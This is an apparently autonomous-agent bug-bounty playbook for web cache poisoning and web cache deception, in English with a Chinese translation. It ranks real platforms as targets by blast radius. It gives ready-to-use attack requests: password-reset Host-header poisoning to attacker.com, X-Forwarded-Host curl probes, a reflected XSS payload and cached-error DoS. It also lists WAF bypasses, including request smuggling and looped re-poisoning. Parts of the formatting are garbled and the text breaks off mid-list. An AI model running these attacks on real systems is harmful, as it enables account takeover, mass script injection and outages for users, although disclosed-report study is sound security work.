hunt-cache-poison
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCrown Jewel Targets
最核心的高价值目标
Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.
Highest-value targets:
- CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — poisoning these affects every visitor globally
- E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential
- Gaming platforms with update servers (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage
- Authentication endpoints served through caches — leads to account takeover (the highest severity variant)
- Asset CDNs (JS/CSS delivery) — XSS payload delivery at scale
- SaaS multi-tenant platforms — one poisoned response bleeds into all tenants sharing a cache key
Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.
缓存投毒的价值极高,因为单个被投毒的 cache 条目可以同时影响数千乃至数百万受害者——只需一个请求,即可实现大规模利用。奖金规模会随影响范围扩大而提升。
价值最高的目标:
- 由 CDN 提供的资源(cdn.shopify.com、cloudfront distributions、Fastly/Akamai edges)——投毒这些资源会影响全球的每一位访问者
- 带有 affiliate/referral 流程的电商平台(Shopify、WooCommerce storefronts)——存在 session hijack 或 affiliate fraud 的潜力
- 带 update server 的游戏平台(rockstargames updates.* domains)——对 update delivery 造成 DoS 意味着大范围客户端故障
- 通过 cache 提供的认证端点——可能导致 account takeover,这是严重程度最高的变体
- Asset CDN(JS/CSS delivery)——可大规模投放 XSS payload
- SaaS 多租户平台——一个被投毒的响应会扩散到所有共享同一 cache key 的租户
回报最高的资产类型: CDN hostname、按租户划分的 subdomain 模式、update/download server、被错误缓存的 login/account page、affiliate link shortener。
Autonomous Testing Priority
自主测试优先级
Two distinct attacks live under this skill — target the simpler one first.
Attack 1 — Password Reset Poisoning (Host header injection):
The app uses the header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.
HostPOST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
email=victim@target.com
Content-Type: application/x-www-form-urlencodedUse a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection — confirming the poisoned link would be sent to the victim.
Try multiple host headers — apps vary in which one they trust ( is most common, but itself also works when the proxy passes it through).
X-Forwarded-HostHostAttack 2 — Web Cache Poisoning:
Inject the attacker-controlled hostname into on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.
X-Forwarded-HostCheck for cache signals in the response: , , , or .
X-Cache: HITCF-Cache-Status: HITAge: <nonzero>Via: cloudfront/varnish/fastlyProof for both: injected value reflected in response body, or action completed successfully despite the manipulated header.
此 skill 下包含两种不同的攻击——先测试较简单的一种。
攻击 1——密码重置投毒(Host header 注入):
应用使用 header 构造发送给用户的密码重置链接。注入攻击者控制的主机名;受害者收到的重置邮件中会包含指向你服务器的链接。
HostPOST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
email=victim@target.com
Content-Type: application/x-www-form-urlencoded使用你控制或能够在响应中识别的独特 hostname。证明: 注入的主机名出现在响应正文中(某些应用会反射生成的 reset link),或者注入后操作成功完成(返回 2xx,并显示“reset email sent”消息)——这证明被投毒的链接会发送给受害者。
尝试多种 host header:不同应用所信任的 header 各不相同( 最常见,但当代理原样传递时, 本身同样有效)。
X-Forwarded-HostHost攻击 2——Web Cache Poisoning:
针对可缓存页面的 GET 请求,将攻击者控制的主机名注入 。如果主机名在响应正文中被反射,且响应被缓存,后续访问者就会收到被投毒的响应。
X-Forwarded-Host检查响应中的 cache 信号:、、 或 。
X-Cache: HITCF-Cache-Status: HITAge: <nonzero>Via: cloudfront/varnish/fastly两种攻击的证明: 注入值在响应正文中被反射,或者尽管请求头被操纵,操作仍成功完成。
Attack Surface Signals
攻击面信号
URL patterns to look for:
- ,
cdn.,assets.,static.,updates.subdomainsdownloads. - URL path structures with extensions that look static: ,
/path/to/page.css/account.php/nonexistent.jpg - Affiliate/link shortener endpoints: ,
/link/,/go/,/ref//out/ - Paths that mix dynamic content with cacheable-looking URLs
Response headers that signal a cache:
X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...JS/tech stack signals:
- Fastly, Varnish, Cloudfront, Akamai, Nginx proxy_cache in response headers
- Shopify/Linkpop stacks with third-party integrations
- Platforms using path-based routing without normalizing trailing segments
- Servers that reflect unvalidated headers into responses (Host, X-Forwarded-Host, X-Original-URL)
Dangerous header candidates (unkeyed inputs):
X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override需要关注的 URL 模式:
- 、
cdn.、assets.、static.、updates.subdomaindownloads. - 扩展名看起来像静态资源的 URL path 结构,例如 、
/path/to/page.css/account.php/nonexistent.jpg - Affiliate/link shortener 端点:、
/link/、/go/、/ref//out/ - 将动态内容与看似可缓存的 URL 混合起来的 path
表明存在 cache 的响应头:
X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...JS/技术栈信号:
- 响应头中出现 Fastly、Varnish、Cloudfront、Akamai、Nginx proxy_cache
- 带第三方集成的 Shopify/Linkpop 技术栈
- 使用 path-based routing 且未规范化尾部 segment 的平台
- 将未经校验的 header(Host、X-Forwarded-Host、X-Original-URL)反射到响应中的服务器
危险的 header 候选项(未纳入 key 的输入):
X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-OverrideStep-by-Step Hunting Methodology
分步漏洞搜寻方法论
-
Map cache infrastructure. Send a GET to the target and inspect response headers. Identify the caching layer (Cloudflare, Fastly, Varnish, Nginx). Note,
Age,X-Cacheheaders.CF-Cache-Status -
Identify cache key components. Send two identical requests — ifincrements, the response is cached. Vary headers one-by-one (e.g., add
Age) to determine which headers are NOT included in the cache key (unkeyed).X-Forwarded-Host -
Test unkeyed header reflection. Addand check if the value appears in the response body (redirects, canonical links, CSP headers, JS src attributes, meta tags). Append a unique cache-busting query parameter (e.g.
X-Forwarded-Host: evil.com) so the probe lands on a cache MISS under a throwaway key — this verifies reflection without prematurely storing a live poison entry under the real, victim-shared cache key. (Param Miner's "Guess headers" mode is the canonical Burp tool for discovering these unkeyed headers/parameters automatically.)?cb=<random> -
Test URL path manipulation (Web Cache Deception). Append fake static extensions to dynamic endpoints:
GET /account/profile.cssGET /dashboard/settings.jpg- Check if the server returns dynamic content AND the cache stores it.
GET /affiliate-link/target.js
-
Test for DoS via cache poisoning. Send a request with a header that causes a 4xx/5xx error and check if that error response gets cached:
- Malformed header
Host - pointing to an invalid host
X-Forwarded-Host - Oversized headers that trigger backend errors
- Malformed
-
Confirm unkeyed parameter poisoning. Try query parameter fatigue or HTTP parameter pollution:
- Check if the param is reflected and cached for clean requests to
GET /page?utm_source="><script>alert(1)</script>./page
-
Validate cache storage. After sending a potentially poisoned request, immediately request the same URL WITHOUT the malicious header from a different IP or incognito session. If you receive the poisoned response — it's confirmed.
-
Measure cache TTL. Checkand
Cache-Control: max-ageto understand how long the poison persists and whether it's exploitable before expiry.Age -
Check affiliate/link flows specifically. For platforms like Linkpop, test whether the referrer/product URL is embedded in a cacheable response that another user will receive.
-
Document blast radius. Determine: global CDN edge (worldwide), regional cache, or single-server cache. This directly affects severity rating.
-
绘制 cache 基础设施。 向目标发送 GET 请求并检查响应头。识别 caching layer(Cloudflare、Fastly、Varnish、Nginx)。记录、
Age、X-Cache等 header。CF-Cache-Status -
识别 cache key 的组成部分。 发送两个相同的请求——如果递增,说明响应已被缓存。逐一改变 header(例如添加
Age),以确定哪些 header 未被纳入 cache key(unkeyed)。X-Forwarded-Host -
测试未纳入 cache key 的 header 反射。 添加,检查该值是否出现在响应正文中(重定向、canonical link、CSP header、JS src 属性、meta tag)。附加一个唯一的 cache-busting 查询参数(例如
X-Forwarded-Host: evil.com),使探测请求以 MISS 落到一个一次性 key 下——这样既能验证反射,又不会过早地在真实、受害者共享的 cache key 下存储有效的投毒条目。(Param Miner 的“Guess headers”模式是使用 Burp 自动发现这些 unkeyed header/参数的标准工具。)?cb=<random> -
测试 URL path 操纵(Web Cache Deception)。 为动态端点附加虚假静态扩展名:
GET /account/profile.cssGET /dashboard/settings.jpg- 检查服务器是否返回动态内容,以及 cache 是否存储了该内容。
GET /affiliate-link/target.js
-
测试通过 cache poisoning 实施 DoS。 发送会导致 4xx/5xx 错误的 header,并检查错误响应是否被缓存:
- 格式错误的 header
Host - 指向无效 host 的
X-Forwarded-Host - 触发后端错误的超大 header
- 格式错误的
-
确认未纳入 cache key 的参数投毒。 尝试 query parameter fatigue 或 HTTP parameter pollution:
- 检查该参数是否被反射,以及针对
GET /page?utm_source="><script>alert(1)</script>的干净请求是否会返回被投毒的内容。/page
-
验证 cache 存储。 发送潜在投毒请求后,立即从不同 IP 或 incognito session 请求相同 URL,且不携带恶意 header。如果收到被投毒的响应,则确认投毒成功。
-
测量 cache TTL。 检查和
Cache-Control: max-age,以了解投毒可以持续多久,以及能否在过期前完成利用。Age -
专门检查 affiliate/link 流程。 对于 Linkpop 等平台,测试 referrer/product URL 是否被嵌入可缓存响应中,并最终提供给其他用户。
-
记录影响范围。 确定目标是全球 CDN edge、区域 cache,还是单服务器 cache。这会直接影响严重性评级。
Payload & Detection Patterns
Payload 与检测模式
Confirm caching behavior:
bash
undefined确认 caching 行为:
bash
undefinedSend twice, compare Age header
Send twice, compare Age header
curl -s -I "https://target.com/page" | grep -i "age|x-cache|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age|x-cache|cf-cache"
**Test unkeyed X-Forwarded-Host:**
```bash
curl -s -H "X-Forwarded-Host: evil.attacker.com" \
"https://target.com/page" | grep -i "evil.attacker.com"Test Web Cache Deception (path appending):
bash
undefinedcurl -s -I "https://target.com/page" | grep -i "age|x-cache|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age|x-cache|cf-cache"
**测试未纳入 cache key 的 X-Forwarded-Host:**
```bash
curl -s -H "X-Forwarded-Host: evil.attacker.com" \
"https://target.com/page" | grep -i "evil.attacker.com"测试 Web Cache Deception(附加 path):
bash
undefinedAuthenticated session cookie required
Authenticated session cookie required
curl -s -b "session=YOUR_SESSION"
"https://target.com/account/profile.css"
"https://target.com/account/profile.css"
curl -s -b "session=YOUR_SESSION"
"https://target.com/account/profile.css"
"https://target.com/account/profile.css"
Then fetch without auth from another client
Then fetch without auth from another client
curl -s "https://target.com/account/profile.css"
**Force cache miss to test poison without hitting cached version:**
```bashcurl -s "https://target.com/account/profile.css"
**强制 cache miss,以测试投毒而不影响已缓存版本:**
```bashUse a unique cache-busting query param to land on a fresh key — do NOT rely on
Use a unique cache-busting query param to land on a fresh key — do NOT rely on
client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl -s -H "X-Forwarded-Host: canary.attacker.com"
"https://target.com/page?cb=$RANDOM"
"https://target.com/page?cb=$RANDOM"
**DoS via poisoned error response:**
```bash
curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
"https://target.com/js/app.js" -Icurl -s -H "X-Forwarded-Host: canary.attacker.com"
"https://target.com/page?cb=$RANDOM"
"https://target.com/page?cb=$RANDOM"
**通过投毒错误响应制造 DoS:**
```bash
curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
"https://target.com/js/app.js" -ICheck if next clean request returns error
Check if next clean request returns error
curl -s -I "https://target.com/js/app.js" | grep "HTTP/"
**Grep patterns in Burp/ZAP response history:**curl -s -I "https://target.com/js/app.js" | grep "HTTP/"
**在 Burp/ZAP response history 中使用 Grep 模式:**Headers indicating cache hit
Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]
Reflected unkeyed input in body
Reflected unkeyed input in body
evil.attacker.com
canary\d+.
evil.attacker.com
canary\d+.
Web cache deception indicators
Web cache deception indicators
Content-Type: text/css (but response is HTML/JSON)
Cache-Control: public.*max-age (on authenticated endpoint)
**Parameter pollution test:**
```bash
curl -s "https://target.com/page?cb=1¶m=CANARY_VALUE" | grep CANARY_VALUEContent-Type: text/css (but response is HTML/JSON)
Cache-Control: public.*max-age (on authenticated endpoint)
**参数污染测试:**
```bash
curl -s "https://target.com/page?cb=1¶m=CANARY_VALUE" | grep CANARY_VALUEThen check if clean request returns poisoned version
Then check if clean request returns poisoned version
curl -s "https://target.com/page?cb=1"
**Burp Suite Intruder wordlist for unkeyed headers:**X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP
---curl -s "https://target.com/page?cb=1"
**Burp Suite Intruder 中用于未纳入 cache key 的 header 的 wordlist:**X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP
---Origin header → ACAO cache poisoning
Origin header → ACAO cache poisoning
Add to the unkeyed-header set. Test whether it is reflected into and then cached: on two consecutive hits. A cached attacker/ ACAO breaks CORS for legit users (cache-DoS); a cached permissive ACAO enables cross-user data reads. Disclosed: reports/591302.
OriginAccess-Control-Allow-Origincurl -H "Origin: evil.example" URL -I*将 加入未纳入 cache key 的 header 集合。测试它是否被反射到 中并随后被缓存:,连续命中两次。被缓存的攻击者/ ACAO 会为合法用户破坏 CORS(cache-DoS);被缓存的宽松 ACAO 则能读取跨用户数据。已披露:reports/591302。
OriginAccess-Control-Allow-Origincurl -H "Origin: evil.example" URL -I*Common Root Causes
常见根因
-
CDN misconfiguration — caching based on URL path only. Engineers configure cache rules like "cache everything matching" without realizing the path can be appended to dynamic routes. The origin server ignores the extra path segments, but the CDN uses them as cache keys.
*.js -
Unkeyed header forwarding. Developers configure reverse proxies to forwardto backends for URL generation (canonical links, redirects, password reset emails) without including it in the cache key. The CDN caches the poisoned response.
X-Forwarded-Host -
Web Cache Deception via permissive routing. Frameworks that normalize URLs (e.g., Rails, Express) acceptand serve the same response as
/account/settings.css. The CDN sees a/account/settingsextension and applies aggressive caching rules..css -
Shared caching of multi-tenant responses. SaaS platforms that use a single CDN without tenant isolation in the cache key allow cross-tenant cache poisoning.
-
Error responses cached without thought. Backend errors (404, 500) triggered by attacker-controlled input get cached, causing DoS for legitimate users. Developers implement caching without excluding error status codes.
-
Lazyheader implementation. Developers know they should add
Varybut forget, or CDNs strip/ignoreVary: X-Forwarded-Hostheaders entirely (Cloudflare historically strips Vary on some asset types).Vary -
Third-party integrations with URL reflection. Affiliate/link tracking systems (like Shopify Linkpop) reflect the destination URL in metadata, canonical tags, or redirects — and these get cached globally.
-
CDN 配置错误——仅根据 URL path 进行缓存。 工程师配置了诸如“cache everything matching”的 cache rule,却没有意识到 path 可以附加到动态 route 上。源服务器会忽略额外的 path segment,但 CDN 却使用它们作为 cache key。
*.js -
转发未纳入 cache key 的 header。 开发者配置反向代理,将转发给后端以生成 URL(canonical link、重定向、密码重置邮件),却没有把它纳入 cache key。CDN 随后缓存了被投毒的响应。
X-Forwarded-Host -
宽松 routing 导致的 Web Cache Deception。 会规范化 URL 的框架(例如 Rails、Express)接受,并返回与
/account/settings.css相同的响应。CDN 看到/account/settings扩展名后,会应用更激进的 caching rule。.css -
多租户响应被共享缓存。 SaaS 平台使用同一个 CDN,却没有在 cache key 中隔离租户,因此可能发生跨租户 cache poisoning。
-
未经考虑便缓存错误响应。 由攻击者可控输入触发的后端错误(404、500)被缓存,进而对合法用户造成 DoS。开发者在实施 caching 时未排除错误状态码。
-
惰性的header 实现。 开发者知道应当添加
Vary,却会忘记添加;或者 CDN 会直接剥离或忽略Vary: X-Forwarded-Hostheader(Cloudflare 历史上曾在某些 asset 类型上剥离 Vary)。Vary -
会反射 URL 的第三方集成。 Affiliate/link tracking 系统(例如 Shopify Linkpop)会将目标 URL 反射到 metadata、canonical tag 或重定向中,而这些响应会在全球范围内被缓存。
Bypass Techniques
绕过技术
Defense: WAF blocking known poison headers
- Bypass: Use less-common header variants: ,
X-Host,X-Forwarded-Server,X-HTTP-Host-Override,Forwarded: host=evil.comX-Original-URL - Bypass: Header value encoding:
X-Forwarded-Host: evil%2ecom - Bypass: Case variation: ,
x-forwarded-hostX-FORWARDED-HOST
Defense: Stripping attacker-supplied headers at edge
- Bypass: Use HTTP/2 pseudo-header manipulation if the proxy downgrades to HTTP/1.1
- Bypass: Inject via HTTP Request Smuggling — smuggle a request with poison headers past the WAF to hit the cache server directly
Defense: Require authentication before caching
- Bypass: Web Cache Deception — trick the cache into storing authenticated content by appending /
.cssto the URL, which matches a cache rule that ignores auth.js
Defense: Cache key includes full URL with query string
- Bypass: HTTP Parameter Pollution — some parsers take the first occurrence, caches key on full string; inject and cache stores it under
?legit=1¶m=evilbut victim visits?legit=1¶m=evil?legit=1 - Bypass: Fat GET request — send body parameters that the backend processes but the cache ignores
Defense: Short TTL / rapid cache purging
- Bypass: Automate re-poisoning; send the poison request in a loop just ahead of TTL expiry
- Bypass: Target CDN nodes with longer default TTLs by routing requests through specific PoPs
Defense: on sensitive endpoints
Cache-Control: private- Bypass: Check if CDN respects this header (some CDNs ignore it if an admin has overridden cache rules globally)
- Bypass: Find adjacent cacheable endpoints that reflect the same sensitive data
防御:WAF 拦截已知投毒 header
- 绕过:使用较少见的 header 变体:、
X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded: host=evil.comX-Original-URL - 绕过:编码 header 值:
X-Forwarded-Host: evil%2ecom - 绕过:改变大小写:、
x-forwarded-hostX-FORWARDED-HOST
防御:边缘节点剥离攻击者提供的 header
- 绕过:如果代理降级到 HTTP/1.1,操纵 HTTP/2 pseudo-header
- 绕过:通过 HTTP Request Smuggling 注入——将携带投毒 header 的请求走私越过 WAF,直接命中 cache server
防御:缓存前要求通过认证
- 绕过:Web Cache Deception——通过附加 /
.css欺骗 cache 存储已认证内容,使其命中忽略 auth 的 cache rule.js
防御:Cache key 包含完整 URL 及查询字符串
- 绕过:HTTP Parameter Pollution——某些 parser 会采用第一次出现的值,而 cache 则以完整字符串为 key;注入 后,cache 会以
?legit=1¶m=evil存储,但受害者访问的是?legit=1¶m=evil?legit=1 - 绕过:Fat GET request——发送 body parameter,让后端处理这些参数,而 cache 会忽略它们
防御:TTL 较短或快速清除 cache
- 绕过:自动重复投毒;在 TTL 到期前持续发送投毒请求
- 绕过:通过特定 PoP 路由请求,定位默认 TTL 更长的 CDN 节点
防御:敏感端点设置
Cache-Control: private- 绕过:检查 CDN 是否遵循该 header(如果管理员全局覆盖了 cache rule,某些 CDN 会忽略它)
- 绕过:寻找会反射相同敏感数据的相邻可缓存端点
Gate 0 Validation
Gate 0 验证
-
What can the attacker DO right now? The attacker must be able to poison a cache entry and then demonstrate that a separate, unauthenticated request from a different client/IP receives the poisoned response — not just their own browser. If only the attacker sees the effect, it's not cache poisoning.
-
What does the victim LOSE? Must be one of: (a) session/account compromise via reflected credentials in poisoned response, (b) execution of attacker-controlled JS via poisoned asset, (c) service denial where legitimate requests return error responses, or (d) sensitive data disclosure (account details cached and served to other users). "Weird response headers" alone is not impact.
-
Can it be reproduced in 10 minutes from scratch? You must be able to: send the poisoning request → wait for cache store → fetch the URL from incognito/different IP → observe poisoned response. If you can't demonstrate this clean reproduction with a second client, the cache may not actually be storing the poison and the report isn't ready.
-
攻击者现在能做什么? 攻击者必须能够投毒一个 cache 条目,并证明来自不同客户端/IP 的独立、未认证请求收到了被投毒的响应,而不只是攻击者自己的浏览器受到影响。如果只有攻击者能看到效果,那就不是 cache poisoning。
-
受害者会失去什么? 必须属于以下情况之一:(a) 被投毒响应中反射的凭据导致 session/account compromise;(b) 通过被投毒 asset 执行攻击者控制的 JS;(c) 合法请求返回错误响应,从而造成 service denial;(d) 敏感数据泄露(账户详情被缓存并提供给其他用户)。仅仅出现“异常响应头”并不构成实际影响。
-
能否从零开始,在 10 分钟内复现? 你必须能够:发送投毒请求 → 等待 cache 存储 → 从 incognito/不同 IP 获取该 URL → 观察被投毒的响应。如果无法使用第二个客户端清晰复现,cache 可能实际上并未存储投毒内容,此时报告尚未准备就绪。
Real Impact Examples
真实影响案例
Scenario 1 — Mass DoS on CDN Asset Delivery (Shopify CDN)
An attacker identified that CDN-served JavaScript assets on could be poisoned by sending a request with a crafted header that caused the origin to return a 4xx error. The CDN cached this error response. Any merchant storefront loading that asset then received the cached error instead of the valid JS file — breaking checkout flows and storefront functionality across all stores sharing that CDN path. One HTTP request, global merchant impact, persisting until cache TTL expired.
cdn.shopify.comScenario 2 — Account Takeover via Web Cache Deception
On a platform serving authenticated account pages, an attacker crafted a URL like and sent it to a victim (via phishing link). When the victim (authenticated) visited the URL, the server responded with their full account profile page (name, email, session tokens). Because the URL ended in , the CDN cached the authenticated response publicly. The attacker then fetched without authentication and received the victim's account data — enabling full account takeover. Impact was amplified because the cache served the same response to any subsequent requester.
/account/profile/photo.jpg.jpg/account/profile/photo.jpgScenario 3 — Affiliate Link Hijacking via URL Path Manipulation (Shopify Linkpop)
An attacker discovered that the Linkpop affiliate link service would cache responses based on URL path but reflected a manipulated product destination URL in the cached HTML. By visiting a specially crafted path before legitimate users, the attacker poisoned the cache to redirect affiliate clicks to an attacker-controlled domain instead of the legitimate Amazon product. Victims clicking what appeared to be valid merchant links were sent to attacker infrastructure, enabling credential phishing and loss of affiliate commission revenue for the legitimate merchant.
案例 1——Shopify CDN 资源分发上的大规模 DoS
攻击者发现,cdn.shopify.com 上由 CDN 提供的 JavaScript 资源可以通过发送带有精心构造 header 的请求进行投毒,导致源服务器返回 4xx 错误。CDN 随后缓存了该错误响应。任何加载该资源的商户 storefront 都会收到缓存的错误,而不是有效的 JS 文件——从而破坏所有共享该 CDN path 的商店的 checkout 流程和 storefront 功能。只需一个 HTTP 请求,就能造成全球范围的商户影响,并持续到 cache TTL 过期。
案例 2——通过 Web Cache Deception 实现 Account Takeover
在某个提供已认证账户页面的平台上,攻击者构造了类似 的 URL,并通过 phishing link 发送给受害者。受害者(已登录)访问该 URL 时,服务器返回了完整的账户资料页面,其中包含姓名、邮箱和 session token。由于 URL 以 结尾,CDN 将该已认证响应公开缓存。攻击者随后在未认证的情况下获取 ,并收到了受害者的账户数据,从而实现完整的 account takeover。由于 cache 会将同一响应提供给任何后续请求者,影响被进一步放大。
/account/profile/photo.jpg.jpg/account/profile/photo.jpg案例 3——通过 URL path 操纵劫持 Affiliate Link(Shopify Linkpop)
攻击者发现,Linkpop affiliate link 服务会基于 URL path 缓存响应,同时在缓存的 HTML 中反射被操纵的产品目标 URL。攻击者在合法用户访问前访问一个 specially crafted path,从而污染 cache,使 affiliate click 被重定向到攻击者控制的 domain,而不是原本合法的 Amazon 产品。受害者点击看似有效的商户 link 后,实际被导向攻击者基础设施,从而造成凭据 phishing,并导致合法商户损失 affiliate commission revenue。
Disclosed Report Citations (2017-2024)
已披露报告引用(2017-2024)
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans the two major families: cache poisoning (attacker influences a cached response served to victims) and cache deception (attacker tricks the cache into storing a victim's private response).
-
Shopify — Cache poisoning via X-Forwarded-Host (H1 #977851)
- Subclass: X-Forwarded-Host header poisoning (unkeyed input → redirect/script-src corruption)
- Payload: with
GET /any-path— single request persisted attacker host in cached response acrossX-Forwarded-Host: attacker.comand localized subdomainsapps.shopify.com - Root cause: X-Forwarded-Host influenced asset/redirect URL generation but was NOT part of the cache key
- Year: 2020 — $1,300 → escalated to $6,300 (one-shot poison, multi-host blast radius)
-
HackerOne — Cache poisoning DoS via X-Forwarded-Port (H1 #409370)
- Subclass: X-Forwarded-Host / X-Forwarded-Port DoS (poisoned redirect to invalid port)
- Payload: with
GET /<redirect-path>— cached 301 redirect pointed legitimate users at port 1, breaking accessX-Forwarded-Port: 1 - Root cause: trusted X-Forwarded-* headers in 301 redirect generation; cache stored the bad Location
- Year: 2018 — $2,500 (foundational H1-on-H1 case)
-
GitLab — Cache poisoning DoS via X-HTTP-Method-Override (H1 #1160407)
- Subclass: method-cloaking / GCS cache-key bleed (HEAD response stored under GET key)
- Payload: with
GET /assets/webpack/*.js— GCS backend honored the override and returned an empty body; CDN cached it as the canonical GET responseX-HTTP-Method-Override: HEAD - Root cause: CDN cache not method-aware; HEAD body (empty) overwrote GET entry for cached static assets
- Year: 2021 — $2,500 (DoS normally OOS, paid for novelty)
-
PayPal — Web Cache Deception (Omer Gil original) (Blog)
- Subclass: classic WCD via /
.css/etc. path appending on authenticated routes.jpg - Payload: — origin served full authenticated account page; CDN cached it as "static .css" for ~5 hours
GET https://www.paypal.com/myaccount/home/foo.css - Root cause: origin routed unknown path suffixes to the parent dynamic handler; CDN cached based purely on the static-looking file extension
- Year: 2017 — $3,000 (PortSwigger Top-10 Web Hacking Technique of 2017, #2)
- Subclass: classic WCD via
-
Cloudflare PBB — Cache Deception Armor bypass via(H1 #1391635)
.avif- Subclass: CDN-specific allowlist bypass (Cloudflare's WCD protection feature) using an obscure image extension
- Payload: — Cloudflare's Cache Deception Armor extension list omitted
GET https://<protected-origin>/account/me.avif, so the authenticated HTML response was cached.avif - Root cause: Cache Deception Armor used a static, incomplete extension allowlist that did not cover modern image MIME types
- Year: 2022 — Cloudflare PBB bounty (amount undisclosed)
-
Akamai (PayPal/Airbnb/Goldman Sachs) — Hop-by-hop header smuggling → server-side edge poisoning (Tediosi & Mariani writeup)
- Subclass: CDN-specific request-smuggling that lands attacker responses in Akamai's edge cache for nearby IPs
- Payload: + crafted request — Akamai's first proxy stripped Content-Length as hop-by-hop, second proxy treated body as a second request whose response was cached at the edge
Connection: Content-Length - Root cause: inconsistent handling of hop-by-hop headers across Akamai proxy tiers caused desync; smuggled responses were server-side cached globally
- Year: 2022 — >$50K total across affected programs (PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100), PortSwigger Top-10 Web Hacking Techniques 2022 nominee
-
James Kettle (PortSwigger) — "Gotta cache 'em all": path-normalization & WCD against Cloudflare/Fastly/GCP (PortSwigger Research)
- Subclass: cache-key path normalization discrepancies and Web Cache Deception across major CDNs (Cloudflare, Fastly, GCP/Google Cloud) — the 2024 research named in this skill's description
- Payload: origin-vs-cache delimiter/normalization disagreements (e.g. encoded path segments and static-suffix tricks) that cause the cache to store a dynamic/authenticated response under a static-looking key
- Root cause: cache and origin disagree on how to normalize/parse the URL path, so the cache key does not match the resource the origin actually served
- Year: 2024 — coordinated CDN-vendor disclosure; methodology research (no single bounty), PortSwigger Top-10 Web Hacking Techniques 2024 entry
以下真实且经过验证的 bug bounty / coordinated disclosure 案例进一步扩展了本 skill 的范围。其涵盖两大类:cache poisoning(攻击者影响提供给受害者的缓存响应)和 cache deception(攻击者诱使 cache 存储受害者的私有响应)。
-
Shopify——通过 X-Forwarded-Host 进行 Cache Poisoning(H1 #977851)
- 子类:X-Forwarded-Host header poisoning(unkeyed input → redirect/script-src corruption)
- Payload:使用 和
GET /any-path——单个请求便将攻击者 host 持久化到 apps.shopify.com 及其本地化 subdomain 的缓存响应中X-Forwarded-Host: attacker.com - 根因:X-Forwarded-Host 影响了 asset/redirect URL 的生成,但未被纳入 cache key
- 年份:2020——$1,300 → 提升至 $6,300(一次投毒,多 host 影响范围)
-
HackerOne——通过 X-Forwarded-Port 实施 Cache Poisoning DoS(H1 #409370)
- 子类:X-Forwarded-Host / X-Forwarded-Port DoS(将重定向投毒至无效 port)
- Payload:使用 和
GET /<redirect-path>——缓存的 301 重定向会将合法用户指向 port 1,导致访问中断X-Forwarded-Port: 1 - 根因:301 重定向生成过程信任 X-Forwarded-* header;cache 存储了错误的 Location
- 年份:2018——$2,500(H1-on-H1 奠基性案例)
-
GitLab——通过 X-HTTP-Method-Override 实施 Cache Poisoning DoS(H1 #1160407)
- 子类:method-cloaking / GCS cache-key bleed(HEAD 响应被存储到 GET key 下)
- Payload:使用 和
GET /assets/webpack/*.js——GCS 后端遵循该 override 并返回空 body;CDN 将其作为标准 GET 响应进行缓存X-HTTP-Method-Override: HEAD - 根因:CDN cache 不区分 HTTP method;HEAD 的空 body 覆盖了缓存静态资源的 GET 条目
- 年份:2021——$2,500(DoS 通常超出范围,但因新颖性获得奖金)
-
PayPal——Web Cache Deception(Omer Gil 原创)(Blog)
- 子类:通过在已认证 route 上附加 /
.css等扩展名实施经典 WCD.jpg - Payload:——源服务器返回完整的已认证账户页面;CDN 将其作为“静态 .css”缓存约 5 小时
GET https://www.paypal.com/myaccount/home/foo.css - 根因:源服务器将未知 path suffix 路由至父级动态 handler;CDN 仅根据看起来像静态文件的扩展名进行缓存
- 年份:2017——$3,000(PortSwigger 2017 年 Web Hacking Technique Top-10 第 2 名)
- 子类:通过在已认证 route 上附加
-
Cloudflare PBB——通过绕过 Cache Deception Armor(H1 #1391635)
.avif- 子类:利用冷门 image extension 绕过 CDN 特定 allowlist(Cloudflare 的 WCD 防护功能)
